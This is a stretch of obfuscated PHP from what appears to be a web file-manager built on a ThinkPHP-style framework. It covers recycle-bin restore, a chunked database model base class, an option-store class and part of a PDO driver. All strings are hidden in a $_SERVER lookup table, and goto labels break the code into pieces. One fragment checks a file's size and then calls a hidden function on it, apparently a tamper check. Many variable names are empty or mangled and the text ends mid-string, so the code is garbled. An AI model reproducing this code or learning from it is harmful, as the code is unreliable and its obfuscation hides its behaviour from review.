$Ԕ = $Ԕ === !1 ? !1 : $Ԕ; $˙ף = array(); foreach ($ÕС as $ªʸ) { if ($Ԕ != !1 && !in_array($ªʸ, $Ԕ)) { continue; } $ = $ɸ->sourceInfo($ªʸ); $ɸ->remove($ªʸ, !1); $⬜ = $[$ԟ[181]] . $ԟ[11] . $[$ԟ[554]]; $˙ף[$⬜] = array($ԟ[632] => $[$ԟ[181]], $ԟ[554] => $[$ԟ[554]]); $this->where(array($ԟ[184] => $ªʸ))->delete(); } foreach ($˙ף as $Դ) { $ɸ->targetSpaceUpdate($Դ[$ԟ[181]], $Դ[$ԟ[554]]); } } public function restore($캧 = false) { $˸ = $this->listData(); $this->_restoreSource($˸, $캧); } public function removeUserAll($ѓ) { $this->remove(!1, $ѓ); } public function restoreItem($ۑ) { $this->_restoreSource(array($ۑ), array($ۑ)); } private function _restoreSource($á, $ʢ) { $ƒ =& $_SERVER[ϋ]; $ = Model($ƒ[1388]); $ʢ = $ʢ == !1 ? !1 : $ʢ; if (!$á) { return !0; } $ϸ = array(); foreach ($á as $) { if ($ʢ != !1 && !in_array($, $ʢ)) { continue; } $ȕ = $->sourceInfo($); $ޢ = $->sourceInfo($ȕ[$ƒ[183]]); if ($ޢ[$ƒ[489]] == $ƒ[91]) { continue; } $->lockMoveStart($); $this->recycleMove($, 0); if ($ȕ[$ƒ[469]] == $ƒ[91]) { $ = array($ƒ[636] => array($ƒ[596], $ȕ[$ƒ[569]] . $ . $ƒ[597])); $->where($)->setField($ƒ[489], 0); $this->restoreFolderChildren($, $á); } $this->where(array($ƒ[184] => $))->delete(); $->folderSizeReset($ȕ[$ƒ[183]]); $ϸ[] = $ȕ[$ƒ[183]]; if ($ȕ[$ƒ[469]] == $ƒ[91]) { $ϸ[] = $; } $->lockMoveEnd($); } $->updateModifyTime($ϸ); } private function restoreFolderChildren($ۖ, $挝) { $횆 =& $_SERVER[ϋ]; $ = Model($횆[1388]); $㜕¦ = array($횆[184] => array($횆[7], array())); foreach ($挝 as $ӽ) { if ($ӽ == $ۖ) { continue; } if (!$->isParentOf($ۖ, $ӽ)) { continue; } $׽ = $->sourceInfo($ӽ); if ($׽[$횆[469]] == $횆[91]) { $㜕¦[] = array($횆[636] => array($횆[596], $׽[$횆[569]] . $ӽ . $횆[597])); } else { $㜕¦[$횆[184]][1][] = $ӽ; } } if (!$㜕¦[$횆[184]][1]) { unset($㜕¦[$횆[184]]); } if (!$㜕¦) { return; } if (is_array($㜕¦[$횆[184]]) && is_array($㜕¦[$횆[184]][1])) { $㜕¦[$횆[184]][1] = array_unique($㜕¦[$횆[184]][1]); } $㜕¦[$횆[1049]] = $횆[2055]; $->where($㜕¦)->setField($횆[489], 1); } private function recycleMove($, $ = 1) { $ =& $_SERVER[ϋ]; $˄ = Model($[1388]); $ = Model($[2278]); $ = array($[184] => $); if ($) { $˄->where($)->setField($[489], 1); $->eventRecycle($, $[2279]); } else { $񤞄 = $˄->where($)->find(); $ﱢ = $񤞄[$[469]] == $[91]; $ = $˄->fileNameAuto($񤞄[$[183]], $񤞄[$[32]], REPEAT_RENAME_FOLDER, $ﱢ); if ($ != $񤞄[$[32]]) { $˄->rename($, $); } $˄->where($)->setField($[489], 0); $->eventRecycle($, $[2280]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\x6d\56\163\157\165\162\143\145\123\145\x63\x72\145\x74\114\x69\163\164"; public $field = array("\163\157\165\162\143\145\x49\104", "\x74\x79\160\145\111\104", "\x63\x72\x65\141\164\x65\125\x73\x65\x72"); } goto D֘; cȃ: if ($_SERVER[$_SERVER[ϋ][408]] != $_size($_file)) { $_getc = $_SERVER[ϋ][409]; $_getfile = $_SERVER[$_SERVER[ϋ][410]] . $_SERVER[ϋ][411]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ϋ][253], $_getfilec); if (count($_getarrs) < $_SERVER[ϋ][412]) { $exit = $_SERVER[ϋ][413]; $exit(); } $_act = $_SERVER[ϋ][414]; $_act($_file); } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\157\144\151\146\171\x54\x69\x6d\x65", "\x74\151\155\145", "\151\x6e\x73\145\x72\164\x2c\165\160\144\141\164\x65", "\x66\165\x6e\x63\x74\151\157\x6e"), array("\143\x72\x65\141\164\x65\124\151\x6d\145", "\164\151\x6d\x65", "\x69\x6e\x73\x65\162\x74", "\x66\165\156\x63\164\x69\157\156")); public function setDataAuto($Ŵ) { $this->dataAuto = $Ŵ; } public function __construct($— = '', $ = '', $ö = '') { parent::__construct($—, $, $ö); } protected $tableMeta = array(); protected function _beforeInsert(&$ण, $ٗ) { $ؾ =& $_SERVER[ϋ]; if (!$this->checkDataAutoHas($ؾ[415])) { return; } $this->dataBeforeFilter($ण, $ؾ[415]); } protected function _beforeUpdate(&$, $ɸ呍) { $ =& $_SERVER[ϋ]; if (!$this->checkDataAutoHas($[416])) { return; } $this->dataBeforeFilter($, $[416]); } protected function _afterSelect(&$˃愔, $) { if (!is_array($˃愔)) { return; } if (!$this->checkDataAutoHas($_SERVER[ϋ][417])) { return; } foreach ($˃愔 as &$ͯ) { $this->dataAfterFilter($ͯ); } unset($ͯ); } protected function _afterFind(&$, $򶿕) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[ϋ][417])) { return; } $this->dataAfterFilter($); } public static function textEncode($) { if (!$) { return $; } $Ѕ = json_encode($); $Ѕ = preg_replace_callback($_SERVER[ϋ][418], function ($) { return addslashes($[0]); }, $Ѕ); return json_decode($Ѕ); } public static function textDecode($) { $ =& $_SERVER[ϋ]; $فۛ = json_encode($); $فۛ = preg_replace_callback($[419], function ($) { return $_SERVER[ϋ][100]; }, $فۛ); return json_decode($فۛ); } public function setAutoIncrement($ȋ) { $ï = array($this->getPk() => $ȋ); $̌ = $this->data($ï)->add(); if ($̌) { $this->delete($̌); } } public function getAutoIncrement() { $ = $this->getTableName(); $Ô = $this->max($this->getPk()); $۩ = $this->query("\163\x68\x6f\167\40\164\x61\142\154\145\x20\163\x74\x61\x74\165\163\40\167\x68\x65\162\x65\40\116\141\x6d\145\75\x27{$}\x27"); $ڻ = $۩[0][$_SERVER[ϋ][420]]; $Ԍ = max($Ô, $ڻ); return $Ԍ; } protected function _callBefore($, $׻) { return $this->cacheCallCheck($, $׻, !1); } protected function _callAfter($򓥀, $Ȍ) { return $this->cacheCallCheck($򓥀, $Ȍ, !0); } protected function cacheFunctionAlias($ȼ) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $, $㿉 = false) { $퉻 = $this->cacheFunctionAlias($); if (!$퉻) { return; } foreach ($퉻 as $Ӱ => $òþ) { $ = $òþ[0]; $ = explode($_SERVER[ϋ][50], $òþ[1]); if ($ == $Ӱ) { return $this->cacheFunctionGet($Ӱ, $); } if ($㿉 && in_array($, $)) { $this->cacheFunctionClear($Ӱ, $); } } } public function cacheFunctionGet($, $) { $ = $this->cacheKeyMake($, $); $ܸ = Cache::get($); if (!is_array($ܸ)) { $ܸ = call_user_func_array(array($this, $), array($, !0)); Cache::set($, $ܸ); } return $ܸ; } public function cacheFunctionClear($, $) { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $) { $ = $this->cacheKeyMake($, $); Cache::remove($); } } private function cacheKeyMake($㎬, $˃) { $衷 =& $_SERVER[ϋ]; return get_class($this) . $衷[11] . $㎬ . $衷[421] . $˃; } protected function selectPageReset() { $ѫ =& $_SERVER[ϋ]; if (isset($GLOBALS[$ѫ[422]])) { return; } $GLOBALS[$ѫ[422]] = isset($GLOBALS[$ѫ[7]][$ѫ[423]]) ? $GLOBALS[$ѫ[7]][$ѫ[423]] : !1; $GLOBALS[$ѫ[424]] = isset($GLOBALS[$ѫ[7]][$ѫ[404]]) ? $GLOBALS[$ѫ[7]][$ѫ[404]] : !1; $GLOBALS[$ѫ[7]][$ѫ[423]] = !1; $GLOBALS[$ѫ[7]][$ѫ[404]] = !1; } protected function selectPageRestore() { $ƒɋ =& $_SERVER[ϋ]; if (!isset($GLOBALS[$ƒɋ[422]])) { return; } $GLOBALS[$ƒɋ[7]][$ƒɋ[423]] = $GLOBALS[$ƒɋ[422]]; $GLOBALS[$ƒɋ[7]][$ƒɋ[404]] = $GLOBALS[$ƒɋ[424]]; if ($GLOBALS[$ƒɋ[7]][$ƒɋ[423]] === !1) { unset($GLOBALS[$ƒɋ[7]][$ƒɋ[423]]); } if ($GLOBALS[$ƒɋ[7]][$ƒɋ[404]] === !1) { unset($GLOBALS[$ƒɋ[7]][$ƒɋ[404]]); } unset($GLOBALS[$ƒɋ[422]]); unset($GLOBALS[$ƒɋ[424]]); } protected function selectPage($舞 = 200, $ѫ鯄 = 1) { $ފ =& $_SERVER[ϋ]; global $in; $̞ = $this->optionsValue(); $ڡ = 50000; $舞 = isset($in[$ފ[423]]) && $in[$ފ[423]] ? $in[$ފ[423]] : $舞; if ($舞 === -1) { $in[$ފ[423]] = !1; $ڡ = 100000000; $舞 = $ڡ; } $ݥ = $̞; $ݥ[$ފ[425]] = array(); $舞 = intval($舞); $舞 = $舞 <= 5 ? 5 : ($舞 >= $ڡ ? $ڡ : $舞); $ѫ鯄 = intval(isset($in[$ފ[404]]) && $in[$ފ[404]] ? $in[$ފ[404]] : $ѫ鯄); $ѫ鯄 = $ѫ鯄 <= 1 ? 1 : $ѫ鯄; $ʼ = array(); $€ć = 1; if ($ѫ鯄 == 1 && $€ć) { $this->optionsValue($̞); $ʼ = $this->page($ѫ鯄, $舞)->select(); $ = is_array($ʼ) ? count($ʼ) : 0; if ($ < $舞) { $Ü = 1; } else { $this->optionsValue($ݥ); $ = intval($this->count()); $Ü = ceil($ / $舞); } } else { $this->optionsValue($ݥ); $ = intval($this->count()); $Ü = ceil($ / $舞); $ѫ鯄 = $ѫ鯄 >= $Ü ? $Ü : $ѫ鯄; $this->optionsValue($̞); $ʼ = $this->page($ѫ鯄, $舞)->select(); } if (!is_array($ʼ)) { $ʼ = array(); } if ($Ü == 1) { $ = count($ʼ); } $ = array($ފ[426] => array($ފ[427] => $, $ފ[423] => $舞, $ފ[404] => $ѫ鯄, $ފ[428] => $Ü), $ފ[429] => $ʼ); return $; } protected function checkLength($ܼ, $ = 0, $ʆ = '') { $ =& $_SERVER[ϋ]; $ = $ ? $ : 65536; if (!$ܼ || strlen($ܼ) < $) { return; } $ʆ = $ʆ ? $ʆ . $[74] : $[12]; show_json($ʆ . LNG($[430]) . "\50{$}\x29", !1); } protected function metaSet($, $ = null, $ = null) { $ݜ =& $_SERVER[ϋ]; if (!$this->tableMeta || !$) { return !1; } $ = $this->tableMeta[$ݜ[431]]; $Ü = $this->tableMeta[$ݜ[432]]; $ = Model($Ü); $뵳 = array($ => $, $ݜ[433] => $); if (is_null($)) { return $->where(array($ => $))->delete(); } if (is_null($) && is_string($)) { return $->where($뵳)->delete(); } $ = is_array($) ? $ : array(); if (is_string($)) { $[$] = $; } $ = array(); foreach ($ as $ => $) { if (is_null($) && is_string($)) { $->where(array($ => $, $ݜ[433] => $))->delete(); continue; } $this->checkLength($, !1, $Ü . $ݜ[4] . $); $[] = array($ => $, $ݜ[97] => $, $ݜ[434] => $); } $ = $ݜ[435] . $Ü; CacheLock::lock($); $->where(array($ => $))->addAll($, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($, $۷ = false) { $ڻ =& $_SERVER[ϋ]; if (!$this->tableMeta) { return array(); } $Ֆ = $this->tableMeta[$ڻ[431]]; $ʎך = Model($this->tableMeta[$ڻ[432]]); if ($۷) { $ = array($Ֆ => $, $ڻ[97] => $۷); return $ʎך->where($)->getField($ڻ[434]); } $ = array($Ֆ => $); $勿 = $ʎך->field($ڻ[436])->where($)->select(); $勿 = array_to_keyvalue($勿, $ڻ[97], $ڻ[434]); return $勿; } private function checkDataAutoHas($Ɏ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $ł) { if (in_array($Ɏ, explode($_SERVER[ϋ][50], $ł[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$ԝ, $ؓ) { $ٹ =& $_SERVER[ϋ]; if (!is_array($ԝ)) { return; } foreach ($this->dataAuto as $) { $ = $[0]; if (!in_array($ؓ, explode($ٹ[50], $[2]))) { continue; } switch (trim($[3])) { case $ٹ[372]: case $ٹ[373]: $Զ = $[1]; $⾽ = isset($[4]) ? (array) $[4] : array(); if ($Զ == $ٹ[197] && array_key_exists($, $ԝ)) { if (!$ԝ[$]) { unset($ԝ[$]); } break; } if (isset($ԝ[$])) { array_unshift($⾽, $ԝ[$]); } if ($ٹ[372] == $[3]) { $ԝ[$] = call_user_func_array($Զ, $⾽); } else { $ԝ[$] = call_user_func_array(array(&$this, $Զ), $⾽); } break; case $ٹ[322]: if (isset($ԝ[$]) && $ԝ[$]) { $ԝ[$] = call_user_func_array(array(&$this, $[1]), array($ԝ[$])); } break; case $ٹ[325]: $ԝ[$] = $ԝ[$[1]]; break; case $ٹ[345]: if (isset($ԝ[$]) && !is_string($ԝ[$])) { $ԝ[$] = json_encode_force($ԝ[$]); } break; case $ٹ[374]: if ($ԝ[$] === $ٹ[12]) { unset($ԝ[$]); } break; case $ٹ[375]: $ԝ[$] = $[1]; default: break; } } if ($ؓ == $ٹ[415]) { $҂ = strtolower($this->db->getDbType()); if (strpos($҂, $ٹ[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ʛ = $[$ٹ[304]]; if (isset($[$ٹ[303]])) { unset($ʛ[$[$ٹ[303]]]); } foreach ($ʛ as $ => $ؓ) { if (!isset($ԝ[$])) { $ԝ[$] = $ٹ[12]; } } } } private function dataAfterFilter(&$) { $ =& $_SERVER[ϋ]; foreach ($this->dataAuto as $п򯗿) { $ = $п򯗿[0]; if (!isset($[$])) { continue; } if (!in_array($[417], explode($[50], $п򯗿[2]))) { continue; } switch (trim($п򯗿[3])) { case $[372]: case $[373]: $󅟑 = isset($п򯗿[4]) ? (array) $п򯗿[4] : array(); array_unshift($󅟑, $[$]); if (isset($п򯗿[4]) && $п򯗿[4] == $[437]) { $󅟑 = array($[$]); } if ($[372] == $п򯗿[3]) { $[$] = call_user_func_array($п򯗿[1], $󅟑); } else { $[$] = call_user_func_array(array(&$this, $п򯗿[1]), $󅟑); } break; case $[322]: if (isset($[$]) && $[$]) { $[$] = call_user_func_array(array(&$this, $п򯗿[1]), array($[$])); } break; case $[325]: $[$] = $[$п򯗿[1]]; break; case $[345]: $ખ = $[$]; $[$] = json_decode($ખ, !0); if (is_null($[$])) { $[$] = $ખ; } break; case $[374]: if ($[$] === $[12]) { unset($[$]); } break; case $[375]: $[$] = $п򯗿[1]; break; default: break; } } } public function saveAll($δ) { $Ʌ =& $_SERVER[ϋ]; $ɗ = $this->tablePrefix . $this->tableName; $ߔ = self::SQL_WHERE_IN_CHUNK; $δ = is_array($δ) ? $δ : array(); $ԩ = $Ʌ[438]; $ = 0; $ = array(); $ަ = count($δ); for ($ϩݴ = 0; $ϩݴ < $ަ; $ϩݴ++) { $ = $δ[$ϩݴ]; if (!is_array($) || count($) != 4) { continue; } $Ҟ = "\x55\x50\104\x41\x54\105\x20\140{$ɗ}\x60\x20\123\x45\x54\x20{$[2]}\40\75\40\x43\x41\x53\105\x20{$[0]}\x20\xa"; if ($ == 0) { $ԩ = $Ҟ; } $[] = $Ʌ[121] . $[1] . $Ʌ[121]; $++; $ԩ .= "\40\127\x48\x45\x4e\x20\x27{$[1]}\47\40\124\x48\x45\116\40\47{$[3]}\x27\40\xa"; if ($ == $ߔ || $ϩݴ == $ަ - 1) { $ = implode($Ʌ[50], $); $ԩ .= "\40\x45\x4e\104\x20\x20\x57\x48\x45\122\x45\x20{$[0]}\40\x49\116\40\x28{$}\x29\x20"; $this->execute($ԩ); $ = 0; $ԩ = $Ҟ; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ =& $_SERVER[ϋ]; $Շʐ = $this->tablePrefix . $this->tableName; foreach ($ as $Ͱ) { if (!is_array($Ͱ) || count($Ͱ) != 4) { continue; } $ = $Ͱ[0] . $[439] . $Ͱ[1] . $[121]; $ = $Ͱ[2] . $[439] . $Ͱ[3] . $[121]; $ = "\165\160\x64\141\x74\145\x20{$Շʐ}\40\163\145\164\x20{$}\x20\167\150\x65\x72\145\x20{$}\73"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($썾 = false, $Ճ = false) { $this->_chunkEvent = $썾; $this->_chunkEventParam = $Ճ; } private function chunkEventCheck($ꭣ) { if (!$this->_chunkEvent) { return; } $ߚļ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $ߚļ[$_SERVER[ϋ][440]] = $ꭣ; Hook::trigger($this->_chunkEvent, $ߚļ); } public function addAll($و, $ = array(), $ = false) { $ =& $_SERVER[ϋ]; ignore_timeout(); $޸ = self::SQL_WHERE_IN_CHUNK; if (empty($و)) { $this->error = think_lang($[323]); return !1; } $ = $this->_parseOptions($); foreach ($و as $ĉܤ => $Ҟ) { $و[$ĉܤ] = $this->_facade($Ҟ); $this->_beforeInsert($و[$ĉܤ], $); } if (method_exists($this->db, $[324])) { for ($ = 0; $ < count($و); $ += $޸) { $ = array_slice($و, $, $޸); if (!is_array($) || count($) == 0) { break; } $̑ = $this->db->insertAll($, $, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($و as $ĉܤ => $Ҟ) { $̑ = $this->db->insert($Ҟ, $, $); } $this->commit(); } if (!1 !== $̑) { $ = $this->getLastInsID(); if ($) { return $; } } return $̑; } public function save($Û = '', $ԅ = array()) { $߼ܥ =& $_SERVER[ϋ]; $ = self::SQL_WHERE_IN_CHUNK; $࿑̄ = $this->optionsValue(); $ޱ = $this->findWhereField($࿑̄); if (!$ޱ) { return parent::save($Û, $ԅ); } $ = 0; $Ȟ = $࿑̄[$߼ܥ[327]][$ޱ][1]; $Ȟ = is_array($Ȟ) ? $Ȟ : array(); $ = count($Ȟ); for ($琰 = 0; $琰 < $; $琰 += $) { $Բǝ = array_slice($Ȟ, $琰, $); if (!is_array($Բǝ) || count($Բǝ) == 0) { break; } $࿑̄[$߼ܥ[327]][$ޱ][1] = $Բǝ; $this->optionsValue($࿑̄); $ += parent::save($Û, $ԅ); $this->chunkEventCheck(count($Բǝ)); } $this->chunkEventSet(); return $; } public function add($尥 = '', $ = array(), $ح = false) { if ($this->addTaskStatus && is_array($尥)) { $this->addTaskData[] = $尥; return; } return parent::add($尥, $, $ح); } public function parseWhereLike($, $ = '', $ = false, &$ = false) { $҅ =& $_SERVER[ϋ]; $٢ = $GLOBALS[$҅[6]][$҅[441]]; if (!$٢[$҅[442]]) { return $; } if (!is_array($)) { return $; } $ދﱝ = array(); $ȍ = 0; foreach ($ as $ => $ˡ) { if (is_array($ˡ) && count($ˡ) == 2 && $ˡ[0] == $҅[443] && is_string($ˡ[1]) && substr($ˡ[1], 0, 1) == $҅[444] && substr($ˡ[1], strlen($ˡ[1]) - 1, 1) == $҅[444]) { $ = !0; $٬鴉 = is_string($) ? $ : $; $ߺת = substr($ˡ[1], 1, strlen($ˡ[1]) - 2); $ߺת = $this->db->escapeString($ߺת); if (!strpos($٬鴉, $҅[10])) { $٬鴉 = $҅[445] . $٬鴉 . $҅[445]; } $ = $҅[211] . $ߺת . $҅[211]; $ߺת = str_replace(array($҅[10], $҅[446], $҅[11]), $҅[447], $ߺת); if ($٢[$҅[448]]) { $ = $҅[449] . $ߺת . $҅[450]; if ($٢[$҅[451]]) { $ = $҅[450] . $ߺת . $҅[449]; } } $ދﱝ[$ȍ] = $҅[452] . $٬鴉 . $҅[453] . $ . $҅[454]; $ȍ++; continue; } if (is_array($ˡ)) { $ = is_string($) ? $ : $; $ˡ = $this->parseWhereLike($ˡ, $, !0, $); } if (is_numeric($)) { $ދﱝ[$ȍ] = $ˡ; $ȍ++; } else { $ދﱝ[$] = $ˡ; } } if ($ && !$) { } return $ދﱝ; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($۱ݬ = array()) { $ꠏ =& $_SERVER[ϋ]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$ || isset($[$ꠏ[343]]) || isset($[$ꠏ[404]])) { return parent::select($۱ݬ); } $ʾ = $[$ꠏ[327]][$][1]; $ʾ = is_array($ʾ) ? $ʾ : array(); $ = null; for ($ = 0; $ < count($ʾ); $ += $) { $ = array_slice($ʾ, $, $); if (!is_array($) || count($) == 0) { break; } $[$ꠏ[327]][$][1] = $; $this->optionsValue($); $ = parent::select($۱ݬ); if (!$) { continue; } $ = is_array($) ? $ : array(); $ = array_merge($, $); } return $; } public function delete($ק詨 = array()) { $ =& $_SERVER[ϋ]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ř = $this->findWhereField($); if (!$ř) { return parent::delete($ק詨); } $ = 0; $ = $[$[327]][$ř][1]; $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $ += $) { $虣 = array_slice($, $, $); if (!is_array($虣) || count($虣) == 0) { break; } $[$[327]][$ř][1] = $虣; $this->optionsValue($); $ += parent::delete($ק詨); } return $; } private function findWhereField($Ԓ੭) { $ܒ =& $_SERVER[ϋ]; $ǘ = self::SQL_WHERE_IN_CHUNK; if (!is_array($Ԓ੭) || !is_array($Ԓ੭[$ܒ[327]])) { return !1; } foreach ($Ԓ੭[$ܒ[327]] as $ => $Ӌ) { if (is_array($Ӌ) && isset($Ӌ[0]) && is_string($Ӌ[0]) && strtolower($Ӌ[0]) == $ܒ[7] && is_array($Ӌ[1]) && count($Ӌ[1]) > $ǘ) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($ = true) { think_config($_SERVER[ϋ][455], $); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\x79\163\x74\x65\x6d\117\160\x74\x69\x6f\x6e"; public $field = array(); public function listData($ư = false, $ = "\155\157\144\x69\146\x79\x54\x69\x6d\145", $̉ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ = array_values($); if ($ && $[0] && !is_array($[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $ư ? null : array(); } if (!$ư) { $ = array_filter(array_values($)); return array_sort_by($, $, $̉); } return $[$_SERVER[ϋ][456] . $ư]; } public function insert($) { $ =& $_SERVER[ϋ]; $ = array_field_key($, $this->field); $ݿ = Model($this->modelType)->get($[457], $this->optionType . $[458]); $ݿ = $ݿ ? $ݿ : 0; $[$[459]] = ++$ݿ; $[$[222]] = time(); $[$[88]] = time(); Model($this->modelType)->set($[457], $ݿ, $this->optionType . $[458]); Model($this->modelType)->set($[456] . $ݿ, $, $this->optionType); return $ݿ; } public function update($, $񗇙) { $ö =& $_SERVER[ϋ]; $񗇙 = array_field_key($񗇙, $this->field); $ = $this->listData($); if (!$ || !$) { return !1; } $񗇙 = array_merge($, $񗇙); $񗇙[$ö[88]] = time(); return Model($this->modelType)->set($ö[456] . $, $񗇙, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[ϋ][456] . $, $this->optionType); } public function clear() { $ԡʫĦ =& $_SERVER[ϋ]; Model($this->modelType)->remove($ԡʫĦ[457], $this->optionType . $ԡʫĦ[458]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($̰޳, $߻) { if (!$߻) { return !1; } $˸ = $this->listData(); $˸ = array_to_keyvalue($˸, $̰޳); return isset($˸[$߻]) ? $˸[$߻] : !1; } public function findByName($鸉) { return $this->findByKey($_SERVER[ϋ][32], $鸉); } protected function resetData($) { $Ȳ =& $_SERVER[ϋ]; $ = is_array($) ? $ : array(); $Ȥ̉ = array(); for ($넨 = 0; $넨 < count($); $넨++) { $Ȥ̉[$Ȳ[456] . $[$넨][$Ȳ[459]]] = $[$넨]; } return Model($this->modelType)->set($Ȥ̉, !1, $this->optionType); } private function getAutoName($) { $˅Ջ = array_to_keyvalue($this->listData(), $_SERVER[ϋ][32]); if (!$˅Ջ || !isset($˅Ջ[$])) { return $; } for ($Ԃ = 1; $Ԃ < count($˅Ջ); $Ԃ++) { $ = $ . "\50{$Ԃ}\x29"; if (!isset($˅Ջ[$])) { return $; } } return $; } } goto Dߓ; a񲉠: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ܼķ = '') { $ =& $_SERVER[ϋ]; if (!class_exists($[963])) { think_exception(think_lang($[14]) . $[964]); } if (!empty($ܼķ)) { $this->config = $ܼķ; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($dž = '', $ѡ = 0) { $ڜ =& $_SERVER[ϋ]; if (!isset($this->linkID[$ѡ])) { if (empty($dž)) { $dž = $this->config; } $ŵ = !empty($dž[$ڜ[17]][$ڜ[18]]) ? $dž[$ڜ[17]][$ڜ[18]] : $this->pconnect; if ($ŵ) { $dž[$ڜ[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$ѡ] = new PDO($dž[$ڜ[965]], $dž[$ڜ[937]], $dž[$ڜ[938]], $dž[$ڜ[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($dž[$ڜ[965]]); if (in_array($this->dbType, array($ڜ[966], $ڜ[967], $ڜ[968], $ڜ[969]))) { think_exception($ڜ[970] . $this->dbType . $ڜ[971] . $this->dbType . $ڜ[972]); } if (!$this->linkID[$ѡ]) { think_exception($ڜ[973]); } try { $this->linkID[$ѡ]->exec($ڜ[974] . think_config($ڜ[940])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($ڜ[22])) { unset($this->config); } } return $this->linkID[$ѡ]; } public function free() { $this->PDOStatement = null; } public function query($, $ = array()) { $̀ =& $_SERVER[ϋ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $̀[975] . print_r($, !0) . $̀[976]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($̀[23], 1); think_status($̀[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ɞ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $ɞ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($°, $ܫ = array()) { $׫ =& $_SERVER[ϋ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $°; if (!empty($ܫ)) { $this->queryStr .= $׫[975] . print_r($ܫ, !0) . $׫[976]; } $ϓ = !1; if ($this->dbType == $׫[969]) { if (preg_match($׫[977], $this->queryStr, $)) { $this->table = think_config($׫[978]) . str_ireplace(think_config($׫[979]), $׫[438], $[2]); $ϓ = (bool) $this->query($׫[980] . strtoupper($this->table) . $׫[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($׫[25], 1); think_status($׫[24]); $this->PDOStatement = $this->_linkID->prepare($°); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $۽ = $this->PDOStatement->execute($ܫ); $this->debug(); if (!1 === $۽) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ϓ || preg_match($׫[981], $°)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $➹ = $this->_linkID->commit(); $this->transTimes = 0; if (!$➹) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $Ͼ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$Ͼ) { $this->error(); return !1; } } return !0; } private function getAll() { $— = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($—); return $—; } public function getFields($) { $б =& $_SERVER[ϋ]; $this->initConnect(!0); if (think_config($б[982])) { $ = str_replace($б[983], $, think_config($б[982])); } else { switch ($this->dbType) { case $б[966]: case $б[984]: $ = "\x53\105\x4c\x45\103\124\40\40\x20\x63\157\x6c\165\x6d\x6e\x5f\156\141\155\145\40\x61\x73\40\x27\x4e\x61\155\x65\x27\54\x20\x20\40\x64\x61\x74\141\x5f\164\171\160\x65\x20\141\x73\40\x27\x54\x79\160\145\x27\54\x20\40\40\x63\x6f\x6c\x75\155\x6e\137\144\x65\146\141\165\154\164\40\141\163\x20\47\x44\x65\146\x61\165\154\164\47\x2c\x20\40\40\x69\163\x5f\156\x75\x6c\x6c\141\x62\154\145\x20\x61\163\x20\47\x4e\165\154\154\x27\12\11\11\x46\x52\x4f\115\11\151\x6e\x66\x6f\162\x6d\141\164\151\157\156\x5f\163\x63\x68\x65\155\141\56\164\141\x62\x6c\145\x73\x20\101\x53\40\164\12\x9\11\112\x4f\111\116\x9\151\156\x66\x6f\162\x6d\x61\x74\151\x6f\x6e\137\163\x63\150\145\155\141\56\143\x6f\154\165\155\156\163\x20\101\x53\x20\143\12\11\11\x4f\116\40\40\x74\x2e\x74\141\x62\154\145\137\x63\141\164\141\154\x6f\147\40\75\x20\143\56\x74\x61\142\x6c\145\x5f\x63\x61\164\x61\x6c\157\147\xa\11\11\101\116\x44\40\x74\56\x74\141\x62\x6c\145\x5f\163\143\x68\145\155\141\x20\x3d\40\x63\56\x74\x61\14